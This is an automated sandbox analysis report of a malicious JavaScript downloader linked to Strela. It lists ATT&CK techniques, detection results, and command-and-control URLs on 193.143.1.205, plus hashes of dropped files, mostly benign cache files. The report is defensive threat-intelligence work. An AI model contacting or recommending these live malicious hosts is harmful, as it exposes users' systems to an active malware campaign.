Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
133313712272908537.js	3%	Virustotal		Browse
133313712272908537.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/spacelG	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/aJ	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/.?	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Z?	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/S	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.25	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/.?	net.exe, 00000007.00000002.2109862308.000001D42D3CC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3350096235.000002768E200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2111791558.000002768DF90000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2109862308.000001D42D3BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109862308.000001D42D3CC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109862308.000001D42D3A0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/aJ	net.exe, 00000007.00000002.2109862308.000001D42D3A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/S	net.exe, 00000007.00000002.2109862308.000001D42D3CC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/spacelG	net.exe, 00000007.00000002.2109862308.000001D42D3A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/Z?	net.exe, 00000007.00000002.2109862308.000001D42D3CC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588202
Start date and time:	2025-01-10 22:36:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	133313712272908537.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 52.6.155.20, 3.233.129.217, 52.22.41.97, 172.64.41.3, 162.159.61.3, 2.23.242.162, 217.20.57.25, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 4.175.87.197, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:37:18	API Interceptor	20x Sleep call for process: powershell.exe modified
16:37:22	API Interceptor	1x Sleep call for process: net.exe modified
16:37:22	API Interceptor	2x Sleep call for process: svchost.exe modified
16:37:34	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	217.20.57.18
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	217.20.57.42

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23614810137024152.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20394193042959831455.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307245052411506
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug+:gJjJGtpTq2yv1AuNZRY3diu8iBVqF8
MD5:	F25B61EC6634386F6FEFBEFC55E68D99
SHA1:	38ED5E4775D3EB5D34D615B7139AEF8E5F2183E7
SHA-256:	F305BBDD17FE147E3447C992895A659760E6F47C814CA82C26C2E939832DE61D
SHA-512:	EC83114F6C772CE55BB1D4E7CA107C130C43F67E27F6E84FB53E17B5A8513022654EA7AA94314EBFED501395ED174386D759D71772F34A00F8F8F46B055B16AC
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x956ba124, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658598747506792
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	5B955FEB568FF05B229AAC6A616174ED
SHA1:	F539CA1F33FDE890F3780FF03122CA78CE863971
SHA-256:	3508E8C75972814A58D3AEA20D00CDAE1A169C0649A9AA41F8425CA3C63A1B1B
SHA-512:	17F9D55AF8D1CD1282ABF65E3658DC2E102978F1C34AFE617B4521B046D414F97228C79EC41E90592B094A13369FA4FB9D2E9247388CAF35273702C39A4C58B1
Malicious:	false
Preview:	.k.$... ...............X\...;...{......................0.z..........{...%...}q.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................)..%...}...................R...%...}q..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08102264125014216
Encrypted:	false
SSDEEP:	3:1UYeEe5tbHGuAJkhvekl1lsk5t//AllrekGltll/SPj:1UzrtzrxlXF5tXAJe3l
MD5:	A5ABB9FCC0C4DC183D5EE86866DBF7EB
SHA1:	A32C2EEAF6887EAB120AB09177F51C99322A1E49
SHA-256:	1FDEFEC85ECF2345EFC00BA37CC88CB03813E21907C834F5F43B7CF495469EFE
SHA-512:	C0CB4E4B191E753A01E2EB68B614F54ADB374FFB9A7FC7837479CC5C70FB70B9959151A807BBD751C55E93BD17CF518E9AAB6DD8931DA583C60CE53BDCACF328
Malicious:	false
Preview:	X.......................................;...{...%...}q......{...............{.......{...XL......{...................R...%...}q.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.199123141074108
Encrypted:	false
SSDEEP:	6:iO4rpa+q2P92nKuAl9OmbnIFUtSrpTFZZmwsrpTFNVkwO92nKuAl9OmbjLJ:7Aa+v4HAahFUtuTX/8T3V5LHAaSJ
MD5:	DCF365563359B4935BD2F05C15E55019
SHA1:	7E979228AE9C1FB106A0767E8C702151BFFB0D6D
SHA-256:	CF8F5657989355A3E1E8618C8EDA3CBEA8992151985E93ACF9ED8D995C2A3BF0
SHA-512:	E6DE60521D6041AF6CF1D7EB7D1AE7EFB342F1B03A3EEB51CF291585DF8CF76453727242FA947EDD816F2E4DF1F34BA96E0C4378875D781F5E5297E9B475CE7B
Malicious:	false
Preview:	2025/01/10-16:37:22.090 1f4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:37:22.093 1f4c Recovering log #3.2025/01/10-16:37:22.093 1f4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.199123141074108
Encrypted:	false
SSDEEP:	6:iO4rpa+q2P92nKuAl9OmbnIFUtSrpTFZZmwsrpTFNVkwO92nKuAl9OmbjLJ:7Aa+v4HAahFUtuTX/8T3V5LHAaSJ
MD5:	DCF365563359B4935BD2F05C15E55019
SHA1:	7E979228AE9C1FB106A0767E8C702151BFFB0D6D
SHA-256:	CF8F5657989355A3E1E8618C8EDA3CBEA8992151985E93ACF9ED8D995C2A3BF0
SHA-512:	E6DE60521D6041AF6CF1D7EB7D1AE7EFB342F1B03A3EEB51CF291585DF8CF76453727242FA947EDD816F2E4DF1F34BA96E0C4378875D781F5E5297E9B475CE7B
Malicious:	false
Preview:	2025/01/10-16:37:22.090 1f4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:37:22.093 1f4c Recovering log #3.2025/01/10-16:37:22.093 1f4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.151339500948389
Encrypted:	false
SSDEEP:	6:iO4rjGS39+q2P92nKuAl9Ombzo2jMGIFUtSrPEJZmwsrPE9VkwO92nKuAl9Ombzz:7DSN+v4HAa8uFUtMm/SiV5LHAa8RJ
MD5:	769662D7438388FE10AB411E180A9B4C
SHA1:	B59FB6DCC40B321606F85D1FAEEFF2808D3A0FD8
SHA-256:	60C81CFAF613793CB08143515B4119803B1261D7B30BF96441B178BCBCFF2811
SHA-512:	B6AACF72BCE1514E9E03A1AB276201176F58A54C69E202A7B53C7E5233183FA1FEAA56E315AA2B91683607308A5D55546421B9AC0DB6677ADD371281D101D9FE
Malicious:	false
Preview:	2025/01/10-16:37:22.190 1fbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:37:22.191 1fbc Recovering log #3.2025/01/10-16:37:22.191 1fbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.151339500948389
Encrypted:	false
SSDEEP:	6:iO4rjGS39+q2P92nKuAl9Ombzo2jMGIFUtSrPEJZmwsrPE9VkwO92nKuAl9Ombzz:7DSN+v4HAa8uFUtMm/SiV5LHAa8RJ
MD5:	769662D7438388FE10AB411E180A9B4C
SHA1:	B59FB6DCC40B321606F85D1FAEEFF2808D3A0FD8
SHA-256:	60C81CFAF613793CB08143515B4119803B1261D7B30BF96441B178BCBCFF2811
SHA-512:	B6AACF72BCE1514E9E03A1AB276201176F58A54C69E202A7B53C7E5233183FA1FEAA56E315AA2B91683607308A5D55546421B9AC0DB6677ADD371281D101D9FE
Malicious:	false
Preview:	2025/01/10-16:37:22.190 1fbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:37:22.191 1fbc Recovering log #3.2025/01/10-16:37:22.191 1fbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.058041104563153
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZD1SsBdOg2HtAcaq3QYiubxnP7E4T3OF+:Y2sRdsYD1XdMHtr3QYhbxP7nbI+
MD5:	D1323823003BE17316E540BF66497B01
SHA1:	1337821F9920A85525B67A7CB9AC0EBB200F14A9
SHA-256:	283E4F44616C65A709E6A4AC76341C00A70C6932778830EB2A3E5F09AC816711
SHA-512:	B9C440D3440F19A62D92428110DC34C7173FF36B48FC82AEC4B8CEF25F8493B453B73ADF79B1E76F11019286F18219707EC43922BE2F115EC2F8CFF7C3FB8236
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105054670017","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146083},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a0588009-5b9f-449c-a356-335bd3e7f5d1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.058041104563153
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZD1SsBdOg2HtAcaq3QYiubxnP7E4T3OF+:Y2sRdsYD1XdMHtr3QYhbxP7nbI+
MD5:	D1323823003BE17316E540BF66497B01
SHA1:	1337821F9920A85525B67A7CB9AC0EBB200F14A9
SHA-256:	283E4F44616C65A709E6A4AC76341C00A70C6932778830EB2A3E5F09AC816711
SHA-512:	B9C440D3440F19A62D92428110DC34C7173FF36B48FC82AEC4B8CEF25F8493B453B73ADF79B1E76F11019286F18219707EC43922BE2F115EC2F8CFF7C3FB8236
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105054670017","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146083},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2380224525953905
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUQNhAAo:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL2
MD5:	E637E44F319E8BE6F04EAEDA705DB6BA
SHA1:	3CC2F3CC3A05F45C210107793B45E1797272DAF8
SHA-256:	3270564537318C1EB5C1C429BCC88AD4270BA5F69DB137A1E0B4E1902770A00D
SHA-512:	7821A7AC36BAEA5B855D298313E9D74FA129F84E2A6AF6A2AA123955C95BD53A7DD54DD2434E6A1AF5D42609A847A3194613C78D8900FE8F20574407CB1DF02A
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.170337594350668
Encrypted:	false
SSDEEP:	6:iO4rsR9+q2P92nKuAl9OmbzNMxIFUtSrsQum3JZmwsrsQum39VkwO92nKuAl9Omk:7f+v4HAa8jFUtLC/peV5LHAa84J
MD5:	03C8A4CF95040182003355B4444B632F
SHA1:	ACBDFFAC0B11870A6842B4E08853CC9F3551A737
SHA-256:	93470FFFBB2AF8866E47C16D3CE39D4145D342AAADA0C77D684874FFEC9D361B
SHA-512:	860284C205421275D108B1DC8335873780599B10E623D3EE3D08EB2E0CB666B53184241E9053091D10BC3656A96B5475AD9BB662258A90472C23C2ADAB783E51
Malicious:	false
Preview:	2025/01/10-16:37:22.324 1fbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:37:22.325 1fbc Recovering log #3.2025/01/10-16:37:22.325 1fbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.170337594350668
Encrypted:	false
SSDEEP:	6:iO4rsR9+q2P92nKuAl9OmbzNMxIFUtSrsQum3JZmwsrsQum39VkwO92nKuAl9Omk:7f+v4HAa8jFUtLC/peV5LHAa84J
MD5:	03C8A4CF95040182003355B4444B632F
SHA1:	ACBDFFAC0B11870A6842B4E08853CC9F3551A737
SHA-256:	93470FFFBB2AF8866E47C16D3CE39D4145D342AAADA0C77D684874FFEC9D361B
SHA-512:	860284C205421275D108B1DC8335873780599B10E623D3EE3D08EB2E0CB666B53184241E9053091D10BC3656A96B5475AD9BB662258A90472C23C2ADAB783E51
Malicious:	false
Preview:	2025/01/10-16:37:22.324 1fbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:37:22.325 1fbc Recovering log #3.2025/01/10-16:37:22.325 1fbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
